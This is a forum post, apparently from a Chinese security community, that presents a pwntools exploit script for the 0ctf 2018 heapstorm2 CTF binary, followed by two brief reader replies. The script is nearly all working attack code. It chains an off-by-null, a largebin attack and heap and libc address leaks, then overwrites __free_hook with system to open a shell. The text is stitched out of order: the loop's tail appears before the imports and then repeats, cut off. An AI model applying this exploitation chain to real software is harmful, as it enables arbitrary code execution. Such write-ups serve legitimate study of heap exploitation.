        show(1)         # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
        r(11)
        heap = u64(r(5).ljust(8,'\x00'))
        info("heap:"+hex(heap))
 
 
 
        p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8)    #泄露main_arena
        edit(0,p5)
 
        #shell()
        show(1)
 
        libc_base =  int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10
 
        print hex(libc_base)
 
        system = libc_base+libc.sym['system']
        free_hook = libc_base+libc.sym['__free_hook']
        print (hex(system),hex(free_hook))
        p6 =  p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(free_hook)+p64(0x1000)+p64(storage+0x50)+p64(0x100)+'/bin/sh\x00'
        edit(0,p6)
        edit(1,p64(system))
        free(2)
        shell()
        pause() 
    except Exception:
        io.close()
        continue
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./0ctf_2018_heapstorm2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Command: '      # choice提示语
siz='Size: '     # size输入提示语
con='Content: '         # content输入提示语
ind='Index: '      # index输入提示语
edi=''          # edit输入提示语
def add(size,c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='2'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(len(content)))
    sa(con,content)
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
 
 
while(1):
    try:
        # get_proc_base(io)
        # get_libc_base(io)
        global io
        io = process(elf_path)
        #io = remote("node3.buuoj.cn",29327)
        add(0x18)                   # 0
        add(0x508)                  # 1
        add(0x18)                   # 2
        edit(1,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 3
        add(0x508)                  # 4
        add(0x18)                   # 5
        edit(4,'a'*0x4f0+p64(0x500))        # 设置fake_pre_size
 
        add(0x18)                   # 6
        free(1)
        edit(0,'a'*(0x18-0xc))              # 对free后的1做off-by-null,造成chunk收缩
 
        add(0x18)                   # 1
        add(0x4d8)                  # 7     # 将0ff-by-null收缩后的freechunk分两次申请出来
 
        free(1)
        free(2)                             # 触发后向合并:0x508+0x18
 
        # 将合并后大小为0x538的freechunk重新构造成0x38和0x4e8
        add(0x38)                   # 1
        add(0x4e8)                  # 2
 
        free(4)
        edit(3,'a'*(0x18-12))
        add(0x18)                   # 4
        add(0x4d8)                  # 8
        free(4)
        free(5)                     # 后向合并造出0x530的freechunk
        add(0x48)                   # 4
 
        free(2)                     # unsortbin: 0x100203060 (size : 0x4f0) <--> 0x1002035c0 (size : 0x4e0)
        add(0x4e8)                  # 2
        free(2)                     # 把0x4f0的放回到unsortedbin
 
 
 
        storage = 0x13370800
        fake_chunk = storage-0x20
        p1 = p64(0)*3+p64(0x4f1)+p64(0)+p64(fake_chunk)
        edit(7,p1)                  # 劫持unsortfbin中chunk的bk指针指向fakechunk
 
        p2 = p64(0)*4+p64(0)+p64(0x4e1)
        p2 += p64(0)+p64(fake_chunk+8)          # 劫持在largebin中chunk的bk指针避免unlink时崩溃
        p2 +=  p64(0)+p64(fake_chunk-0x18-4)    # 劫持在largebin中chunk的bk_nextsize指针
        edit(8,p2)
 
 
        add(0x48)       # 2,largebin attack触发,返回我们伪造位置的节点
 
 
        p3 = p64(0)*5+p64(0x13377331)+p64(storage)#构造show函数的条件
        edit(2,p3)
 
        pause()
        p4 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(storage-0x20+3)+p64(8)
        edit(0,p4)      # 重新回写table,改掉对应表项为真实的ptr-size,而非异或后的,同时改那表头四个随机数为0,这样我们在xor的时候返回的就是地址/size真正的值了。
 
        show(1)         # 输出我们largebin attack错位写在fakechunk上的地址来那道heap地址
        r(11)
        heap = u64(r(5).ljust(8,'\x00'))
        info("heap:"+hex(heap))
 
 
 
        p5 = p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)+p64(heap+0x10)+p64(8)    #泄露main_arena
        edit(0,p5)
 
        #shell()
        show(1)
 
        libc_base =  int(u64(ru('\x7f')[-6:].ljust(8,'\x00')))-88-libc.sym['__malloc_hook']-0x10

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-10-3 11:07 被Roland_编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2

 需要爆破多少次?

最后于 2021-7-4 19:56 被wwwfo编辑 ,原因:
2021-7-4 16:45
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
这是libc2.29以后的吧,初号机师傅。
2021-9-30 15:31
0
游客
登录 | 注册 方可回帖
返回
//